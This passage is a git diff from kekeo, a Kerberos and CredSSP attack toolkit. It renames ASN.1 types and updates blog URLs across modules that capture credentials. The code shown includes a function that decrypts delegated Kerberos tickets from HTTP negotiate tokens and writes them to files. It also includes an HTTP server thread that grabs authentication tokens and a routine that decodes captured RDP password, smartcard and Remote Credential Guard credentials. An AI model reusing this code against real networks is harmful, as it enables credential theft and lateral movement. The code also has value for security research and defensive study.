+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncASRepPart_PDU, encAsRepPart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AS_REP_PDU, AsRep);
}
kull_m_kerberos_asn1_net_AddressSocket_delete(socket);
}
@@ -48,12 +48,12 @@ NTSTATUS kuhl_m_tgt_pac(int argc, wchar_t * argv[])
{
PKIWI_AUTH_INFOS infos;
PKULL_M_SOCK socket;
- AS_REP *asrep = NULL;
- EncKDCRepPart *enckdcreppart = NULL;
- EncryptionKey asKey;
+ KULL_M_ASN1_AS_REP *asrep = NULL;
+ KULL_M_ASN1_EncKDCRepPart *enckdcreppart = NULL;
+ KULL_M_ASN1_EncryptionKey asKey;
OssBuf TgsReq = {0, NULL};
- TGS_REP *TgsRep = NULL;
- _octet1 pac;
+ KULL_M_ASN1_TGS_REP *TgsRep = NULL;
+ KULL_M_ASN1__octet1 pac;
if(infos = kull_m_kerberos_asn1_Authinfos_create(argc, argv))
{
@@ -63,7 +63,7 @@ NTSTATUS kuhl_m_tgt_pac(int argc, wchar_t * argv[])
{
if(kull_m_kerberos_asn1_TgsReq_build(&TgsReq, &asrep->cname, asrep->crealm, &asrep->cname, NULL, KERB_KDCOPTION_standard | KERB_KDCOPTION_enc_tkt_in_skey, &asrep->ticket, &enckdcreppart->key, &asrep->ticket, NULL, NULL))
{
- if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRep, TGS_REP_PDU))
+ if(kull_m_kerberos_asn1_net_callKdcOssBuf(socket, &TgsReq, (LPVOID *) &TgsRep, KULL_M_ASN1_TGS_REP_PDU))
{
if(kull_m_kerberos_asn1_PAC_from_EncTicketPart(&enckdcreppart->key, &TgsRep->ticket.enc_part, &pac))
{
@@ -78,14 +78,14 @@ NTSTATUS kuhl_m_tgt_pac(int argc, wchar_t * argv[])
LocalFree(pac.value);
}
else PRINT_ERROR(L"No PAC found\n");
- ossFreePDU(&kull_m_kerberos_asn1_world, TGS_REP_PDU, TgsRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REP_PDU, TgsRep);
}
ossFreeBuf(&kull_m_kerberos_asn1_world, TgsReq.value);
}
if(asKey.keyvalue.value)
LocalFree(asKey.keyvalue.value);
- ossFreePDU(&kull_m_kerberos_asn1_world, EncASRepPart_PDU, enckdcreppart);
- ossFreePDU(&kull_m_kerberos_asn1_world, AS_REP_PDU, asrep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncASRepPart_PDU, enckdcreppart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AS_REP_PDU, asrep);
}
kull_m_kerberos_asn1_net_AddressSocket_delete(socket);
}
@@ -99,7 +99,7 @@ NTSTATUS kuhl_m_tgt_asreq(int argc, wchar_t * argv[])
PKIWI_AUTH_INFOS authInfo;
OssBuf AsReq;
FILETIME fTime, eTime;
- KerberosTime time;
+ KULL_M_ASN1_KerberosTime time;
BOOL isNonce, isSign = TRUE;
DWORD cookie, i, increment, count;
LPCWSTR szLifetime;
@@ -147,7 +147,7 @@ NTSTATUS kuhl_m_tgt_asreq(int argc, wchar_t * argv[])
return STATUS_SUCCESS;
}
-BOOL kuhl_m_tgt_pac_cred(_octet1 *buf, EncryptionKey *AsRepKey)
+BOOL kuhl_m_tgt_pac_cred(KULL_M_ASN1__octet1 *buf, KULL_M_ASN1_EncryptionKey *AsRepKey)
{
BOOL status = FALSE;
PPACTYPE pacType = (PPACTYPE) buf->value;
@@ -249,7 +249,7 @@ NTSTATUS kuhl_m_tgt_httpserver(int argc, wchar_t * argv[])
HANDLE hThread;
DWORD threadId;
LPCWSTR szData;
- EncryptionKey myKey;
+ KULL_M_ASN1_EncryptionKey myKey;
PKUHL_M_KERBEROS_HTTP_THREAD_DATA pData;
LPSTR redirectUrl = NULL;
@@ -317,8 +317,8 @@ DWORD WINAPI kuhl_m_tgt_httpserver_thread(IN LPVOID lpParameter)
DWORD bufLen, timeout = 2000;
PSTR authData = NULL;
OssBuf myBuf;
- int myPdu = GSSAPI_Token_PDU;
- GSSAPI_Token *gssapi_Token = NULL;
+ int myPdu = KULL_M_ASN1_GSSAPI_Token_PDU;
+ KULL_M_ASN1_GSSAPI_Token *gssapi_Token = NULL;
FILETIME fTime;
GetSystemTimeAsFileTime(&fTime);
@@ -351,7 +351,7 @@ DWORD WINAPI kuhl_m_tgt_httpserver_thread(IN LPVOID lpParameter)
if(!ossDecode(&kull_m_kerberos_asn1_world, &myPdu, &myBuf, (LPVOID *) &gssapi_Token))
{
kuhl_m_tgt_httpserver_decodeAnyToken(&gssapi_Token->innerToken, pData->key);
- ossFreePDU(&kull_m_kerberos_asn1_world, GSSAPI_Token_PDU, gssapi_Token);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_GSSAPI_Token_PDU, gssapi_Token);
}
else PRINT_ERROR(L"Unable to decode GSSAPI_Token: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
LocalFree(myBuf.value);
@@ -364,20 +364,20 @@ DWORD WINAPI kuhl_m_tgt_httpserver_thread(IN LPVOID lpParameter)
return ERROR_SUCCESS;
}
-BOOL kuhl_m_tgt_httpserver_decodeAnyToken(Any *token, EncryptionKey *key)
+BOOL kuhl_m_tgt_httpserver_decodeAnyToken(KULL_M_ASN1__Any *token, KULL_M_ASN1_EncryptionKey *key)
{
BOOL status = FALSE;
- int myPdu = NegotiationToken_PDU;
- NegotiationToken *negotiationToken = NULL;
+ int myPdu = KULL_M_ASN1_NegotiationToken_PDU;
+ KULL_M_ASN1_NegotiationToken *negotiationToken = NULL;
if(!ossDecode(&kull_m_kerberos_asn1_world, &myPdu, (OssBuf *) token, (LPVOID *) &negotiationToken))
{
- if(negotiationToken->choice == negTokenInit_chosen)
+ if(negotiationToken->choice == KULL_M_ASN1_negTokenInit_chosen)
{
- if(negotiationToken->u.negTokenInit.bit_mask & NegTokenInit_mechToken_present)
+ if(negotiationToken->u.negTokenInit.bit_mask & KULL_M_ASN1_NegTokenInit_mechToken_present)
kuhl_m_tgt_deleg_from_negTokenInit(negotiationToken->u.negTokenInit.mechToken.value, negotiationToken->u.negTokenInit.mechToken.length, kuhl_m_tgt_deleg_EncryptionKeyFromTicket, key);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, NegotiationToken_PDU, negotiationToken);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_NegotiationToken_PDU, negotiationToken);
}
else PRINT_ERROR(L"Unable to decode GSSAPI_Token: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
return status;
@@ -484,14 +484,14 @@ PSTR kuhl_m_tgt_httpserver_dealWithHeaders(LPCSTR data, DWORD size, LPCSTR toFin
BOOL kuhl_m_tgt_deleg_from_negTokenInit(LPCVOID data, LONG dataLen, PKUHL_M_KERBEROS_GETENCRYPTIONKEYFROMAPREQ callback, PVOID userdata)
{
BOOL status = FALSE;
- int toDecPdu = AP_REQ_PDU;
- AP_REQ *ApReq = NULL;
- Authenticator *authenticator = NULL;
- KRB_CRED *KrbCred = NULL;
+ int toDecPdu = KULL_M_ASN1_AP_REQ_PDU;
+ KULL_M_ASN1_AP_REQ *ApReq = NULL;
+ KULL_M_ASN1_Authenticator *authenticator = NULL;
+ KULL_M_ASN1_KRB_CRED *KrbCred = NULL;
OssBuf toDecode = {0, NULL}, DecryptedAuthenticator = {0, NULL}, DecryptedKrbCredEnc = {0, NULL}, PlainKrbCredEnc = {0, NULL};
NTSTATUS ntStatus;
- EncryptedData previousEncrypted = {0};
- EncryptionKey sessionKey = {0};
+ KULL_M_ASN1_EncryptedData previousEncrypted = {0};
+ KULL_M_ASN1_EncryptionKey sessionKey = {0};
LPWSTR filename;
if(toDecode.value = kuhl_m_tgt_deleg_searchDataAferOIDInBuffer(data, dataLen))
@@ -510,19 +510,19 @@ BOOL kuhl_m_tgt_deleg_from_negTokenInit(LPCVOID data, LONG dataLen, PKUHL_M_KERB
ntStatus = kull_m_kerberos_asn1_crypto_encrypt(KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR, &sessionKey, (OssBuf *) &ApReq->authenticator.cipher, &DecryptedAuthenticator, FALSE);
if(NT_SUCCESS(ntStatus))
{
- toDecPdu = Authenticator_PDU;
+ toDecPdu = KULL_M_ASN1_Authenticator_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &toDecPdu, &DecryptedAuthenticator, (LPVOID *) &authenticator))
{
kprintf(L"Client : ");
kull_m_kerberos_asn1_PrincipalName_descr(&authenticator->cname, TRUE);
kprintf(L"\n");
- if(authenticator->bit_mask & cksum_present)
+ if(authenticator->bit_mask & KULL_M_ASN1_cksum_present)
{
if(authenticator->cksum.cksumtype == GSS_CHECKSUM_TYPE)
{
if(((PKIWI_AUTHENTICATOR_CKSUM) authenticator->cksum.checksum.value)->Flags & GSS_C_DELEG_FLAG)
{
- toDecPdu = KRB_CRED_PDU;
+ toDecPdu = KULL_M_ASN1_KRB_CRED_PDU;
toDecode.length = ((PKIWI_AUTHENTICATOR_CKSUM) authenticator->cksum.checksum.value)->Dlgth;
toDecode.value = ((PKIWI_AUTHENTICATOR_CKSUM) authenticator->cksum.checksum.value)->Deleg;
if(!ossDecode(&kull_m_kerberos_asn1_world, &toDecPdu, &toDecode, (LPVOID *) &KrbCred))
@@ -532,10 +532,10 @@ BOOL kuhl_m_tgt_deleg_from_negTokenInit(LPCVOID data, LONG dataLen, PKUHL_M_KERB
{
previousEncrypted = KrbCred->enc_part;
KrbCred->enc_part.etype = KERB_ETYPE_NULL;
- KrbCred->enc_part.cipher = *(_octet1 *) &DecryptedKrbCredEnc;
+ KrbCred->enc_part.cipher = *(KULL_M_ASN1__octet1 *) &DecryptedKrbCredEnc;
if(filename = kull_m_kerberos_asn1_KrbCred_filename(KrbCred, L"_delegate", NULL))
{
- if(!ossEncode(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, KrbCred, &PlainKrbCredEnc))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, KrbCred, &PlainKrbCredEnc))
{
kprintf(L"> %s -> ", filename);
if(status = kull_m_file_writeData(filename, PlainKrbCredEnc.value, PlainKrbCredEnc.length))
@@ -551,7 +551,7 @@ BOOL kuhl_m_tgt_deleg_from_negTokenInit(LPCVOID data, LONG dataLen, PKUHL_M_KERB
LocalFree(DecryptedKrbCredEnc.value);
}
else PRINT_ERROR(L"Unable to decrypt KRB_CRED EncryptedData: %08x\n", ntStatus);
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, KrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, KrbCred);
}
else PRINT_ERROR(L"Unable to decode KRB_CRED: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
}
@@ -560,7 +560,7 @@ BOOL kuhl_m_tgt_deleg_from_negTokenInit(LPCVOID data, LONG dataLen, PKUHL_M_KERB
else PRINT_ERROR(L"cksumtype: 0x%08x\n", authenticator->cksum.cksumtype);
}
else PRINT_ERROR(L"No cksum in authenticator?");
- ossFreePDU(&kull_m_kerberos_asn1_world, Authenticator_PDU, authenticator);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_Authenticator_PDU, authenticator);
}
else PRINT_ERROR(L"Unable to decode Ticket: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
LocalFree(DecryptedAuthenticator.value);
@@ -568,7 +568,7 @@ BOOL kuhl_m_tgt_deleg_from_negTokenInit(LPCVOID data, LONG dataLen, PKUHL_M_KERB
else PRINT_ERROR(L"Unable to decrypt Authenticator: %08x\n", ntStatus);
LocalFree(sessionKey.keyvalue.value);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, AP_REQ_PDU, ApReq);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AP_REQ_PDU, ApReq);
}
else PRINT_ERROR(L"Unable to decode AP_REQ: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
}
@@ -595,7 +595,7 @@ PBYTE kuhl_m_tgt_deleg_searchDataAferOIDInBuffer(IN LPCVOID data, IN SIZE_T Size
return ret;
}
-BOOL CALLBACK kuhl_m_tgt_deleg_EncryptionKeyFromCache(AP_REQ *ApReq, EncryptionKey *key, LPVOID UserData)
+BOOL CALLBACK kuhl_m_tgt_deleg_EncryptionKeyFromCache(KULL_M_ASN1_AP_REQ *ApReq, KULL_M_ASN1_EncryptionKey *key, LPVOID UserData)
{
BOOL status = FALSE;
NTSTATUS ntStatus, packageStatus;
@@ -620,7 +620,7 @@ BOOL CALLBACK kuhl_m_tgt_deleg_EncryptionKeyFromCache(AP_REQ *ApReq, EncryptionK
{
if(NT_SUCCESS(packageStatus))
{
- key->keytype = (Int32) pKerbRetrieveResponse->Ticket.SessionKey.KeyType;
+ key->keytype = (KULL_M_ASN1_Int32) pKerbRetrieveResponse->Ticket.SessionKey.KeyType;
key->keyvalue.length = pKerbRetrieveResponse->Ticket.SessionKey.Length;
if(key->keyvalue.value = (unsigned char *) LocalAlloc(LPTR, key->keyvalue.length))
{
@@ -639,19 +639,19 @@ BOOL CALLBACK kuhl_m_tgt_deleg_EncryptionKeyFromCache(AP_REQ *ApReq, EncryptionK
return status;
}
-BOOL CALLBACK kuhl_m_tgt_deleg_EncryptionKeyFromTicket(AP_REQ *ApReq, EncryptionKey *key, LPVOID UserData) // TODO
+BOOL CALLBACK kuhl_m_tgt_deleg_EncryptionKeyFromTicket(KULL_M_ASN1_AP_REQ *ApReq, KULL_M_ASN1_EncryptionKey *key, LPVOID UserData) // TODO
{
BOOL status = FALSE;
NTSTATUS ntStatus;
OssBuf DecryptedEncTicketPart = {0, NULL};
- EncTicketPart *encticketpart = NULL;
- int toDecPdu = EncTicketPart_PDU;
+ KULL_M_ASN1_EncTicketPart *encticketpart = NULL;
+ int toDecPdu = KULL_M_ASN1_EncTicketPart_PDU;
key->keytype = 0;
key->keyvalue.length = 0;
key->keyvalue.value = NULL;
- ntStatus = kull_m_kerberos_asn1_crypto_encrypt(KRB_KEY_USAGE_AS_REP_TGS_REP, (EncryptionKey *) UserData, (OssBuf *) &ApReq->ticket.enc_part.cipher, &DecryptedEncTicketPart, FALSE);
+ ntStatus = kull_m_kerberos_asn1_crypto_encrypt(KRB_KEY_USAGE_AS_REP_TGS_REP, (KULL_M_ASN1_EncryptionKey *) UserData, (OssBuf *) &ApReq->ticket.enc_part.cipher, &DecryptedEncTicketPart, FALSE);
if(NT_SUCCESS(ntStatus))
{
if(!ossDecode(&kull_m_kerberos_asn1_world, &toDecPdu, &DecryptedEncTicketPart, (LPVOID *) &encticketpart))
@@ -667,7 +667,7 @@ BOOL CALLBACK kuhl_m_tgt_deleg_EncryptionKeyFromTicket(AP_REQ *ApReq, Encryption
}
}
else PRINT_ERROR(L"Authenticator etype (0x%08x) is not the same as Key keytype (0x%08x)\n", ApReq->authenticator.etype, encticketpart->key.keytype);
- ossFreePDU(&kull_m_kerberos_asn1_world, EncTicketPart_PDU, encticketpart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncTicketPart_PDU, encticketpart);
}
else PRINT_ERROR(L"Unable to decode EncTicketPart: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
LocalFree(DecryptedEncTicketPart.value);
diff --git a/kekeo/modules/kuhl_m_tgt.h b/kekeo/modules/kuhl_m_tgt.h
index 18d8e18..57e14bd 100644
--- a/kekeo/modules/kuhl_m_tgt.h
+++ b/kekeo/modules/kuhl_m_tgt.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -13,12 +13,12 @@
#include "kerberos/kuhl_m_kerberos_pac.h"
#include "kerberos/kuhl_m_kerberos.h"
-typedef BOOL (CALLBACK * PKUHL_M_KERBEROS_GETENCRYPTIONKEYFROMAPREQ) (AP_REQ *ApReq, EncryptionKey *key, LPVOID UserData);
+typedef BOOL (CALLBACK * PKUHL_M_KERBEROS_GETENCRYPTIONKEYFROMAPREQ) (KULL_M_ASN1_AP_REQ *ApReq, KULL_M_ASN1_EncryptionKey *key, LPVOID UserData);
typedef struct _KUHL_M_KERBEROS_HTTP_THREAD_DATA {
SOCKET clientSocket;
SOCKADDR_IN clientAddr;
- EncryptionKey *key;
+ KULL_M_ASN1_EncryptionKey *key;
PCSTR aRedirectHeader;
//BOOL isRickRoll;
} KUHL_M_KERBEROS_HTTP_THREAD_DATA, *PKUHL_M_KERBEROS_HTTP_THREAD_DATA;
@@ -31,11 +31,11 @@ NTSTATUS kuhl_m_tgt_asreq(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_tgt_deleg(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_tgt_httpserver(int argc, wchar_t * argv[]);
-BOOL kuhl_m_tgt_pac_cred(_octet1 *buf, EncryptionKey *AsRepKey);
+BOOL kuhl_m_tgt_pac_cred(KULL_M_ASN1__octet1 *buf, KULL_M_ASN1_EncryptionKey *AsRepKey);
BOOL kuhl_m_tgt_asreq_export(DWORD cookie, PFILETIME fTime, PKIWI_AUTH_INFOS authInfo, OssBuf *asReq);
DWORD WINAPI kuhl_m_tgt_httpserver_thread(IN LPVOID lpParameter);
-BOOL kuhl_m_tgt_httpserver_decodeAnyToken(Any *token, EncryptionKey *key);
+BOOL kuhl_m_tgt_httpserver_decodeAnyToken(KULL_M_ASN1__Any *token, KULL_M_ASN1_EncryptionKey *key);
BOOL kuhl_m_tgt_httpserver_decodeB64NTLMAuth(LPCSTR Scheme, LPCSTR b64, PBYTE *data, DWORD *dataLen);
BOOL kuhl_m_tgt_httpserver_recvForMe(SOCKET clientSocket, LPBYTE *data, DWORD *dataLen);
BOOL kuhl_m_tgt_httpserver_sendForMe(SOCKET clientSocket, USHORT Code, LPCSTR Reason, LPCSTR Header);
@@ -44,5 +44,5 @@ PSTR kuhl_m_tgt_httpserver_dealWithHeaders(LPCSTR data, DWORD size, LPCSTR toFin
BOOL kuhl_m_tgt_deleg_from_negTokenInit(LPCVOID data, LONG dataLen, PKUHL_M_KERBEROS_GETENCRYPTIONKEYFROMAPREQ callback, PVOID userdata);
PBYTE kuhl_m_tgt_deleg_searchDataAferOIDInBuffer(IN LPCVOID data, IN SIZE_T Size);
-BOOL CALLBACK kuhl_m_tgt_deleg_EncryptionKeyFromCache(AP_REQ *ApReq, EncryptionKey *key, LPVOID UserData);
-BOOL CALLBACK kuhl_m_tgt_deleg_EncryptionKeyFromTicket(AP_REQ *ApReq, EncryptionKey *key, LPVOID UserData); // TODO
\ No newline at end of file
+BOOL CALLBACK kuhl_m_tgt_deleg_EncryptionKeyFromCache(KULL_M_ASN1_AP_REQ *ApReq, KULL_M_ASN1_EncryptionKey *key, LPVOID UserData);
+BOOL CALLBACK kuhl_m_tgt_deleg_EncryptionKeyFromTicket(KULL_M_ASN1_AP_REQ *ApReq, KULL_M_ASN1_EncryptionKey *key, LPVOID UserData); // TODO
\ No newline at end of file
diff --git a/kekeo/modules/kuhl_m_tsssp.c b/kekeo/modules/kuhl_m_tsssp.c
index 7f8f78d..af29080 100644
--- a/kekeo/modules/kuhl_m_tsssp.c
+++ b/kekeo/modules/kuhl_m_tsssp.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -240,7 +240,7 @@ void kuhl_m_tsssp_freeBuffer(PSecBuffer buffer, BOOL isContext)
}
}
-void kuhl_m_tsssp_printOctet1String(_octet1 *data)
+void kuhl_m_tsssp_printOctet1String(KULL_M_ASN1__octet1 *data)
{
if(data)
kprintf(L"%.*s", data->length / sizeof(wchar_t), data->value);
@@ -255,13 +255,13 @@ SECURITY_STATUS kuhl_m_tsssp_AcceptSecurityContext(__in_opt PCredHandle phCreden
{
SECURITY_STATUS status = SEC_E_INVALID_PARAMETER;
ULONG ContextAttr = 0;
- TSRequest *InputTsReq = NULL, OutputTsReq = {0};
+ KULL_M_ASN1_TSRequest *InputTsReq = NULL, OutputTsReq = {0};
OssBuf InputTsEncoded = {0, NULL}, OutputTsEncoded = {0, NULL};
- int internDpu = TSRequest_PDU;
- struct NegoData negoData;
+ int internDpu = KULL_M_ASN1_TSRequest_PDU;
+ struct KULL_M_ASN1_NegoData negoData;
SecBuffer SBServerIn = {0, SECBUFFER_TOKEN, NULL}, SBServerOut = {0, SECBUFFER_TOKEN, NULL}, SBDecodedData = {0, SECBUFFER_DATA, NULL}, SBToEncrypt = {0, SECBUFFER_DATA, NULL};
SecBufferDesc SBDServerIn = {SECBUFFER_VERSION, 1, &SBServerIn}, SBDServerOut = {SECBUFFER_VERSION, 1, &SBServerOut};
- _octet1 PublicKey = {TSSSP_HC_CERTIFICATE_PUBLICKEY_LENGTH, (PBYTE) TSSSP_HC_CERTIFICATE + TSSSP_HC_CERTIFICATE_PUBLICKEY_OFFSET};
+ KULL_M_ASN1__octet1 PublicKey = {TSSSP_HC_CERTIFICATE_PUBLICKEY_LENGTH, (PBYTE) TSSSP_HC_CERTIFICATE + TSSSP_HC_CERTIFICATE_PUBLICKEY_OFFSET};
SecPkgContext_NegotiationInfo negoInfo = {0};
SecPkgContext_Names names = {0};
@@ -274,9 +274,9 @@ SECURITY_STATUS kuhl_m_tsssp_AcceptSecurityContext(__in_opt PCredHandle phCreden
{
kprintf(L"\n[InputTsReq v%i]\n", InputTsReq->version);
OutputTsReq.version = InputTsReq->version;
- if(InputTsReq->bit_mask & (negoTokens_present | pubKeyAuth_present))
+ if(InputTsReq->bit_mask & (KULL_M_ASN1_negoTokens_present | KULL_M_ASN1_pubKeyAuth_present))
{
- if(InputTsReq->bit_mask & negoTokens_present)
+ if(InputTsReq->bit_mask & KULL_M_ASN1_negoTokens_present)
{
kprintf(L" [negoTokens]\n");
SBServerIn.pvBuffer = InputTsReq->negoTokens->value.negoToken.value;
@@ -288,7 +288,7 @@ SECURITY_STATUS kuhl_m_tsssp_AcceptSecurityContext(__in_opt PCredHandle phCreden
negoData.value.negoToken.length = SBServerOut.cbBuffer;
negoData.value.negoToken.value = (unsigned char *) SBServerOut.pvBuffer;
negoData.next = NULL;
- OutputTsReq.bit_mask |= negoTokens_present;
+ OutputTsReq.bit_mask |= KULL_M_ASN1_negoTokens_present;
OutputTsReq.negoTokens = &negoData;
}
@@ -312,7 +312,7 @@ SECURITY_STATUS kuhl_m_tsssp_AcceptSecurityContext(__in_opt PCredHandle phCreden
}
}
}
- if(InputTsReq->bit_mask & pubKeyAuth_present)
+ if(InputTsReq->bit_mask & KULL_M_ASN1_pubKeyAuth_present)
{
kprintf(L" [pubKeyAuth]\n Encrypted: "); kull_m_string_wprintf_hex(InputTsReq->pubKeyAuth.value, InputTsReq->pubKeyAuth.length, 0);
kprintf(L"\n Decrypted: ");
@@ -321,7 +321,7 @@ SECURITY_STATUS kuhl_m_tsssp_AcceptSecurityContext(__in_opt PCredHandle phCreden
kull_m_string_wprintf_hex(SBDecodedData.pvBuffer, SBDecodedData.cbBuffer, 0); kprintf(L"\n");
LocalFree(SBDecodedData.pvBuffer); // we don't care about, really...
}
- if(InputTsReq->bit_mask & clientNonce_present)
+ if(InputTsReq->bit_mask & KULL_M_ASN1_clientNonce_present)
{
if(InputTsReq->version >= 5)
{
@@ -355,7 +355,7 @@ SECURITY_STATUS kuhl_m_tsssp_AcceptSecurityContext(__in_opt PCredHandle phCreden
if(SBToEncrypt.pvBuffer)
{
if(kuhl_m_tsssp_Encrypt(phContext, &SBToEncrypt, &OutputTsReq.pubKeyAuth))
- OutputTsReq.bit_mask |= pubKeyAuth_present;
+ OutputTsReq.bit_mask |= KULL_M_ASN1_pubKeyAuth_present;
LocalFree(SBToEncrypt.pvBuffer);
}
}
@@ -363,7 +363,7 @@ SECURITY_STATUS kuhl_m_tsssp_AcceptSecurityContext(__in_opt PCredHandle phCreden
if(OutputTsReq.bit_mask) // something to encode !
{
status = SEC_I_CONTINUE_NEEDED;
- if(!ossEncode(&kull_m_kerberos_asn1_world, TSRequest_PDU, &OutputTsReq, &OutputTsEncoded))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TSRequest_PDU, &OutputTsReq, &OutputTsEncoded))
{
if(pOutput->pBuffers[0].pvBuffer = LocalAlloc(LPTR, OutputTsEncoded.length))
{
@@ -378,7 +378,7 @@ SECURITY_STATUS kuhl_m_tsssp_AcceptSecurityContext(__in_opt PCredHandle phCreden
LocalFree(OutputTsReq.pubKeyAuth.value);
kuhl_m_tsssp_freeBuffer(&SBServerOut, TRUE);
}
- else if(InputTsReq->bit_mask & authInfo_present)
+ else if(InputTsReq->bit_mask & KULL_M_ASN1_authInfo_present)
{
kprintf(L" [authInfo]\n Encrypted: "); kull_m_string_wprintf_hex(InputTsReq->authInfo.value, InputTsReq->authInfo.length, 0);
kprintf(L"\n Decrypted: ");
@@ -391,7 +391,7 @@ SECURITY_STATUS kuhl_m_tsssp_AcceptSecurityContext(__in_opt PCredHandle phCreden
}
else status = SEC_E_DECRYPT_FAILURE;
}
- ossFreePDU(&kull_m_kerberos_asn1_world, TSRequest_PDU, InputTsReq);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TSRequest_PDU, InputTsReq);
}
else PRINT_ERROR(L"Unable to decode TSRequest: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
}
@@ -401,11 +401,11 @@ SECURITY_STATUS kuhl_m_tsssp_AcceptSecurityContext(__in_opt PCredHandle phCreden
void kuhl_m_tsssp_TSCredentials(PSecBuffer data)
{
OssBuf InputTsEncoded = {data->cbBuffer, (unsigned char *) data->pvBuffer};
- int internDpu = TSCredentials_PDU;
- TSCredentials *InputTsCredentials = NULL;
- TSPasswordCreds *InputTsPasswordCreds;
- TSSmartCardCreds *InputTsSmartCardCreds;
- TSRemoteGuardCreds *InputTsRemoteGuardCreds;
+ int internDpu = KULL_M_ASN1_TSCredentials_PDU;
+ KULL_M_ASN1_TSCredentials *InputTsCredentials = NULL;
+ KULL_M_ASN1_TSPasswordCreds *InputTsPasswordCreds;
+ KULL_M_ASN1_TSSmartCardCreds *InputTsSmartCardCreds;
+ KULL_M_ASN1_TSRemoteGuardCreds *InputTsRemoteGuardCreds;
PVOID *ts;
if(!ossDecode(&kull_m_kerberos_asn1_world, &internDpu, &InputTsEncoded, (LPVOID *) &InputTsCredentials))
@@ -414,19 +414,19 @@ void kuhl_m_tsssp_TSCredentials(PSecBuffer data)
{
case 1:
kprintf(L" [Password]\n");
- internDpu = TSPasswordCreds_PDU;
+ internDpu = KULL_M_ASN1_TSPasswordCreds_PDU;
ts = (PVOID *) &InputTsPasswordCreds;
break;
case 2:
kprintf(L" [Smartcard]\n");
- internDpu = TSSmartCardCreds_PDU;
+ internDpu = KULL_M_ASN1_TSSmartCardCreds_PDU;
ts = (PVOID *) &InputTsSmartCardCreds;
break;
case 6:
kprintf(L" [Remote CredentialGuard]\n");
- internDpu = TSRemoteGuardCreds_PDU;
+ internDpu = KULL_M_ASN1_TSRemoteGuardCreds_PDU;
ts = (PVOID *) &InputTsRemoteGuardCreds;
break;
default:
@@ -463,12 +463,12 @@ void kuhl_m_tsssp_TSCredentials(PSecBuffer data)
}
else PRINT_ERROR(L"Unable to decode TS*Creds: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
}
- ossFreePDU(&kull_m_kerberos_asn1_world, TSCredentials_PDU, InputTsCredentials);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TSCredentials_PDU, InputTsCredentials);
}
else PRINT_ERROR(L"Unable to decode TSCredentials: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
}
-BOOL kuhl_m_tsssp_Encrypt(PCtxtHandle phContext, PSecBuffer data, _octet1 *out)
+BOOL kuhl_m_tsssp_Encrypt(PCtxtHandle phContext, PSecBuffer data, KULL_M_ASN1__octet1 *out)
{
BOOL status = FALSE;
SECURITY_STATUS subStatus;
@@ -507,7 +507,7 @@ BOOL kuhl_m_tsssp_Encrypt(PCtxtHandle phContext, PSecBuffer data, _octet1 *out)
return status;
}
-BOOL kuhl_m_tsssp_Decrypt(PCtxtHandle phContext, _octet1 *data, PSecBuffer out)
+BOOL kuhl_m_tsssp_Decrypt(PCtxtHandle phContext, KULL_M_ASN1__octet1 *data, PSecBuffer out)
{
BOOL status = FALSE;
SECURITY_STATUS subStatus;
@@ -534,7 +534,7 @@ BOOL kuhl_m_tsssp_Decrypt(PCtxtHandle phContext, _octet1 *data, PSecBuffer out)
}
const char kuhl_m_tsssp_ClientServerHashMagic[] = "CredSSP Client-To-Server Binding Hash", kuhl_m_tsssp_ServerClientHashMagic[] = "CredSSP Server-To-Client Binding Hash";
-BOOL kuhl_m_tsssp_SHA256(BOOL isClient, _octet1 *Nonce, _octet1 *PublicKey, PSecBuffer out)
+BOOL kuhl_m_tsssp_SHA256(BOOL isClient, KULL_M_ASN1__octet1 *Nonce, KULL_M_ASN1__octet1 *PublicKey, PSecBuffer out)
{
BOOL status = FALSE;
HCRYPTPROV hProv;
diff --git a/kekeo/modules/kuhl_m_tsssp.h b/kekeo/modules/kuhl_m_tsssp.h
index 68ce204..90efda4 100644
--- a/kekeo/modules/kuhl_m_tsssp.h
+++ b/kekeo/modules/kuhl_m_tsssp.h
